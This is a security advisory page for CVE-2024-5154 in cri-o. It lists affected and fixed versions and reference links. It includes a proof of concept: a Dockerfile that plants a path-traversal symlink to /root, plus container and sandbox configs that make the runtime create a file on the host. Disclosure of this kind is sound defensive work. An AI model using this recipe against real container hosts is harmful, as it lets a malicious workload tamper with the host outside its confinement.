CVE-2024-5154: malicious container creates symlink "mtab" on the host External
Impact A malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host. A workload built from this Dockerfile: and this container config: and this sandbox config will create a file on host /host/mtab Patches 1.30.1, 1.29.5, 1.28.7 Workarounds Unfortunately not References Are there any links users can visit to find out more?
Published Jun 4, 2024 · Updated Jun 27, 2025
Affected packages
github.com/cri-o/cri-o
- Ecosystem
- Go
- Affected
- >= 1.28.6, < 1.28.7
- Fixed in
- 1.28.7
- Check
go list -m github.com/cri-o/cri-o
github.com/cri-o/cri-o
- Ecosystem
- Go
- Affected
- >= 1.29.4, < 1.29.5
- Fixed in
- 1.29.5
- Check
go list -m github.com/cri-o/cri-o
github.com/cri-o/cri-o
- Ecosystem
- Go
- Affected
- >= 1.30.0, < 1.30.1
- Fixed in
- 1.30.1
- Check
go list -m github.com/cri-o/cri-o
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Impact
A malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host.
A workload built from this Dockerfile:
FROM docker.io/library/busybox as source
RUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc
FROM scratch
COPY --from=source /bin /bin
COPY --from=source /lib /lib
COPY --from=source /extra .
and this container config:
{
"metadata": {
"name": "busybox"
},
"image":{
"image": "localhost/test"
},
"command": [
"/bin/true"
],
"linux": {
}
}
and this sandbox config
{
"metadata": {
"name": "test-sandbox",
"namespace": "default",
"attempt": 1,
"uid": "edishd83djaideaduwk28bcsb"
},
"linux": {
"security_context": {
"namespace_options": {
"network": 2
}
}
}
}
will create a file on host /host/mtab
Patches
1.30.1, 1.29.5, 1.28.7
Workarounds
Unfortunately not
References
_Are there any links users can visit to find out more?_
Credited to eriksjolund.
References
- https://github.com/cri-o/cri-o/security/advisories/GHSA-j9hf-98c3-wrm8
- https://nvd.nist.gov/vuln/detail/CVE-2024-5154
- https://access.redhat.com/errata/RHSA-2024:3676
- https://access.redhat.com/security/cve/CVE-2024-5154
- https://bugzilla.redhat.com/show_bug.cgi?id=2280190
- https://pkg.go.dev/vuln/GO-2024-2919
- https://access.redhat.com/errata/RHSA-2024:3700
- https://access.redhat.com/errata/RHSA-2024:4008
- https://access.redhat.com/errata/RHSA-2024:4486
- https://access.redhat.com/errata/RHSA-2024:10818
- https://access.redhat.com/errata/RHSA-2024:4159
- https://github.com/advisories/GHSA-j9hf-98c3-wrm8
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesCVE-2025-4437
CRI-O has Potential High Memory Consumption from File Read
medium5.7No fixAug 20, 2025CVE-2025-0750
CRI-O Path Traversal vulnerability
medium6.6No fixJan 28, 2025CVE-2024-8676
CRI-O: Maliciously structured checkpoint file can gain arbitrary node access
medium7.4Nov 26, 2024CVE-2024-3154
CRI-O vulnerable to an arbitrary systemd property injection
high7.2Apr 30, 2024CVE-2023-6476
CRI-O's pods can break out of resource confinement on cgroupv2
medium6.5Jan 10, 2024
